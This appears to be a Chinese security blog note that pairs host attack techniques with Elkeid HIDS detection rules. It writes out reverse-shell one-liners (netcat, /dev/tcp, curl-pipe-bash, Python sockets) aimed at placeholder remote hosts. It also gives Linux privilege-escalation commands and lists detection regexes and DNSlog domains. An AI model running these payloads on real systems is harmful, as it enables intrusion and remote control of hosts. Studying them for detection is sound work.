目录
概述
本文更新通过在主机(不含容器)上直接执行命令或启动进程来攻击的场景。检测方面以字节跳动的开源HIDS elkeid举例。每种检测仅举一个例子,其余的给出示例payload。
反弹shell
原理
控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端
nc
bash
nc 远程ip 端口 -e /bin/bash
Elkeid规则如下:
bash
(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))
/dev/xxx反弹shell
指的是通过/dev/tcp或/dev/udp的方式建立连接反弹shell,举例:
bash
bash -i >& /dev/tcp/远程ip/端口 0>&1
下载不落地反弹Shell
指的是下载后通过管道等方式执行,不落地,举例:
bash
curl/wget http://xxx.sh | bash
各种语言反弹shell
以Python为例:
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("远程ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
linux提权
sudo
原理:临时赋予root权限运行某个程序
bash
sudo less file_path
bash
!bash
suid提权
bash
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
收集具有suid的文件
bash
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
mysql提权
- udf提权
- 写入webshell提权
- mof提权
Dnslog
Elkeid规则如下:
bash
.awvsscan119.autoverify.cn|.cybertunnel.run|.dnstunnel.run|.s0x.cn|.dns.1433.eu.org|.logplog.eu.org|.ns.dns3.cf|.vuleye.pw|.ceye.io|.exeye.io|.vcap.me|.xip.name|.xip.io|.sslip.io|.nip.io|.burpcollaborator.net|.tu4.org|.2xss.cc|.bxss.me|.godns.vip|.0kee.360.cn|.r87.me|.ngrok.io|.xn--9tr.com|.pipedream.net|.vxtrans.com|.vxtrans.link|.hopto.org|.zapto.org|.sytes.net|.ddns.net